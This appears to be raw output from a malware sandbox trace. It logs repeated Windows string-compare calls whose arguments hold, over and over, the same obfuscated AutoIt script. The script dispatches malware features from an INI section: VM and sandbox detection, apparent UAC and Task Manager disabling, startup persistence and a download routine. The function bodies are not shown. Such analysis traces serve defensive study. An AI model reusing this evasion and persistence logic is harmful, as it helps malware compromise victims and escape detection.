Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' A", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="onst $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' An", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nst $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="st $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const 